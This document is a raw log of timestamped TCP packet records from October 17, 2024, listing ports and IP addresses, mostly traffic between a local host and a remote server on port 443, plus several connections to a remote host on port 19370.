Oct 17, 2024 18:18:55.445142984 CEST	51702	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:55.453231096 CEST	19370	51702	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:55.500727892 CEST	443	51701	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.500833988 CEST	443	51701	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.501028061 CEST	51701	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.505409002 CEST	51701	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.505429983 CEST	443	51701	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.505757093 CEST	51701	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.505763054 CEST	443	51701	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.557871103 CEST	51706	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.557918072 CEST	443	51706	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.558059931 CEST	51706	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.567229986 CEST	19370	51702	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:55.567313910 CEST	51702	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:55.577956915 CEST	51706	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.577987909 CEST	443	51706	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.591145039 CEST	51702	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:56.155312061 CEST	443	51703	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.159403086 CEST	51703	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.159430027 CEST	443	51703	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.159997940 CEST	51703	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.160007954 CEST	443	51703	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.182869911 CEST	443	51705	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.200442076 CEST	443	51704	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.210921049 CEST	51705	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.210939884 CEST	443	51705	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.211441994 CEST	51705	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.211450100 CEST	443	51705	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.215576887 CEST	51704	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.215604067 CEST	443	51704	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.216233015 CEST	51704	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.216238976 CEST	443	51704	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.295098066 CEST	443	51703	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.295763969 CEST	443	51703	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.295830011 CEST	51703	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.301964045 CEST	51703	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.301984072 CEST	443	51703	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.301997900 CEST	51703	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.302004099 CEST	443	51703	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.328351974 CEST	51707	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.328409910 CEST	443	51707	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.328538895 CEST	51707	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.341973066 CEST	443	51706	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.343261003 CEST	443	51705	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.344227076 CEST	443	51705	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.346046925 CEST	51705	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.347214937 CEST	443	51704	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.347495079 CEST	443	51704	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.347636938 CEST	51704	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.355804920 CEST	51707	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.355818033 CEST	443	51707	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.356133938 CEST	51704	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.356144905 CEST	443	51704	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.356241941 CEST	51704	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.356247902 CEST	443	51704	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.385559082 CEST	51706	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.385588884 CEST	443	51706	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.386307955 CEST	51706	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.386316061 CEST	443	51706	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.386497974 CEST	51705	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.386522055 CEST	443	51705	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.386532068 CEST	51705	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.386539936 CEST	443	51705	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.517270088 CEST	443	51706	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.517355919 CEST	443	51706	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.517421961 CEST	51706	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.927825928 CEST	51706	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.927825928 CEST	51706	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.927856922 CEST	443	51706	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.927869081 CEST	443	51706	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.942305088 CEST	51708	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.942359924 CEST	443	51708	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.942425966 CEST	51708	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.943129063 CEST	51709	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.943175077 CEST	443	51709	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.943224907 CEST	51709	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.945482016 CEST	51708	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.945508003 CEST	443	51708	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.946635008 CEST	51710	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.946646929 CEST	443	51710	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.946753025 CEST	51709	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.946760893 CEST	443	51709	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:56.946778059 CEST	51710	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.947082043 CEST	51710	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:56.947091103 CEST	443	51710	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.095295906 CEST	443	51707	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.104093075 CEST	51707	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.104130983 CEST	443	51707	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.104738951 CEST	51707	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.104749918 CEST	443	51707	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.167037010 CEST	50951	80	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:57.231910944 CEST	443	51707	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.231944084 CEST	443	51707	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.232000113 CEST	443	51707	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.232002974 CEST	51707	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.232045889 CEST	51707	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.254971027 CEST	51707	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.255008936 CEST	443	51707	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.255028009 CEST	51707	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.255037069 CEST	443	51707	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.271286011 CEST	51711	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.271344900 CEST	443	51711	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.271662951 CEST	51711	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.274221897 CEST	51711	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.274245977 CEST	443	51711	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.685374975 CEST	443	51708	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.697021008 CEST	443	51709	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.703826904 CEST	51708	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.703866005 CEST	443	51708	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.704631090 CEST	51708	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.704638004 CEST	443	51708	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.705076933 CEST	51709	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.705102921 CEST	443	51709	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.705971003 CEST	51709	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.705976963 CEST	443	51709	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.714042902 CEST	443	51710	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.714895010 CEST	51710	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.714910030 CEST	443	51710	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.715293884 CEST	51710	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.715298891 CEST	443	51710	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.837915897 CEST	443	51709	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.838637114 CEST	443	51709	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.838692904 CEST	51709	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.838699102 CEST	443	51709	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.838742971 CEST	51709	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.841872931 CEST	443	51708	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.841931105 CEST	443	51708	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.842149019 CEST	51708	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.844146013 CEST	51709	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.844165087 CEST	443	51709	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.847587109 CEST	51708	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.847615004 CEST	443	51708	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.847626925 CEST	51708	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.847632885 CEST	443	51708	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.854866982 CEST	443	51710	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.855412960 CEST	443	51710	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.855482101 CEST	51710	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.856750965 CEST	51710	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.856762886 CEST	443	51710	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.856791973 CEST	51710	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.856797934 CEST	443	51710	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.858869076 CEST	51712	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.858913898 CEST	443	51712	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.858982086 CEST	51712	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.859508991 CEST	51713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.859549046 CEST	443	51713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.859710932 CEST	51713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.860275984 CEST	51714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.860294104 CEST	443	51714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.860343933 CEST	51714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.861789942 CEST	51712	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.861802101 CEST	443	51712	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.862016916 CEST	51713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.862040997 CEST	443	51713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:57.862236977 CEST	51714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:57.862251043 CEST	443	51714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.023915052 CEST	443	51711	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.038250923 CEST	51711	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.038268089 CEST	443	51711	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.039243937 CEST	51711	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.039248943 CEST	443	51711	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.163609982 CEST	443	51711	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.163642883 CEST	443	51711	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.163696051 CEST	443	51711	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.163708925 CEST	51711	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.163743019 CEST	51711	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.173427105 CEST	51711	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.173464060 CEST	443	51711	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.173481941 CEST	51711	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.173491955 CEST	443	51711	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.197614908 CEST	51715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.197657108 CEST	443	51715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.197726011 CEST	51715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.202877045 CEST	51715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.202893972 CEST	443	51715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.606081963 CEST	443	51714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.606363058 CEST	443	51713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.628151894 CEST	443	51712	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.655173063 CEST	51714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.655200958 CEST	443	51714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.655611992 CEST	51714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.655622005 CEST	443	51714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.655952930 CEST	51713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.655962944 CEST	443	51713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.656435013 CEST	51713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.656445026 CEST	443	51713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.662442923 CEST	51712	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.662478924 CEST	443	51712	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.662964106 CEST	51712	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.662977934 CEST	443	51712	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.782933950 CEST	443	51714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.783179045 CEST	443	51714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.783245087 CEST	51714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.783664942 CEST	443	51713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.783916950 CEST	443	51713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.783965111 CEST	51713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.798036098 CEST	443	51712	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.798135996 CEST	51713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.798168898 CEST	443	51713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.798188925 CEST	51713	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.798188925 CEST	51714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.798199892 CEST	443	51713	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.798207998 CEST	443	51714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.798218012 CEST	51714	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.798218012 CEST	443	51712	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.798221111 CEST	443	51714	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.798274994 CEST	443	51712	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.798274040 CEST	51712	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.798312902 CEST	51712	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.809026957 CEST	51712	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.809061050 CEST	443	51712	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.809078932 CEST	51712	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.809084892 CEST	443	51712	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.824404001 CEST	51716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.824456930 CEST	443	51716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.824517965 CEST	51716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.832369089 CEST	51716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.832385063 CEST	443	51716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.833334923 CEST	51717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.833381891 CEST	443	51717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.833450079 CEST	51717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.833798885 CEST	51717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.833811045 CEST	443	51717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.848056078 CEST	51718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.848095894 CEST	443	51718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.848154068 CEST	51718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.849419117 CEST	51718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:58.849435091 CEST	443	51718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:58.965122938 CEST	443	51715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.009496927 CEST	51715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.009525061 CEST	443	51715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.010030985 CEST	51715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.010037899 CEST	443	51715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.144576073 CEST	443	51715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.144608021 CEST	443	51715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.144665956 CEST	51715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.144675016 CEST	443	51715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.144716024 CEST	51715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.176265955 CEST	51715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.176301003 CEST	443	51715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.176316023 CEST	51715	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.176323891 CEST	443	51715	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.196506023 CEST	51719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.196553946 CEST	443	51719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.196660995 CEST	51719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.203721046 CEST	51719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.203733921 CEST	443	51719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.585515022 CEST	443	51717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.588490009 CEST	51717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.588519096 CEST	443	51717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.589628935 CEST	51717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.589646101 CEST	443	51717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.608979940 CEST	443	51716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.609488010 CEST	51716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.609519958 CEST	443	51716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.609921932 CEST	51716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.609930038 CEST	443	51716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.625745058 CEST	443	51718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.626156092 CEST	51718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.626179934 CEST	443	51718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.626621962 CEST	51718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.626626968 CEST	443	51718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.756089926 CEST	443	51717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.756225109 CEST	443	51717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.756290913 CEST	443	51717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.756349087 CEST	51717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.763535023 CEST	443	51716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.763561010 CEST	443	51716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.763632059 CEST	51716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.763665915 CEST	443	51716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.764164925 CEST	443	51716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.764214039 CEST	51716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.764765024 CEST	51717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.764784098 CEST	443	51717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.764800072 CEST	51717	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.764805079 CEST	443	51717	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.781807899 CEST	51716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.781841993 CEST	443	51716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.781858921 CEST	51716	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.781864882 CEST	443	51716	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.794020891 CEST	51720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.794068098 CEST	443	51720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.794121027 CEST	51720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.804721117 CEST	51720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.804744005 CEST	443	51720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.805721045 CEST	51721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.805772066 CEST	443	51721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.805840969 CEST	51721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.806073904 CEST	51721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.806091070 CEST	443	51721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.967536926 CEST	443	51719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.992496014 CEST	443	51718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.992731094 CEST	443	51718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:59.992798090 CEST	51718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.999969959 CEST	51719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:59.999998093 CEST	443	51719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.000401020 CEST	51719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.000406027 CEST	443	51719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.002773046 CEST	51718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.002801895 CEST	443	51718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.002816916 CEST	51718	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.002824068 CEST	443	51718	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.025573015 CEST	51722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.025615931 CEST	443	51722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.025701046 CEST	51722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.025883913 CEST	51722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.025895119 CEST	443	51722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.133447886 CEST	443	51719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.134188890 CEST	443	51719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.134253025 CEST	443	51719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.134258986 CEST	51719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.134325027 CEST	51719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.135684013 CEST	51719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.135730028 CEST	443	51719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.135833025 CEST	51719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.135848999 CEST	443	51719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.206443071 CEST	51723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.206480980 CEST	443	51723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.206691980 CEST	51723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.207094908 CEST	51723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.207108021 CEST	443	51723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.565619946 CEST	443	51720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.570943117 CEST	51720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.570964098 CEST	443	51720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.571394920 CEST	51720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.571402073 CEST	443	51720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.596347094 CEST	51724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:00.599865913 CEST	443	51721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:00.608191967 CEST	19370	51724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:00.608617067 CEST	51724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:00.609869003 CEST	51724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:00.616075993 CEST	51721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:00.616101980 CEST	443	51721	13.107.246.45	192.168.2.6
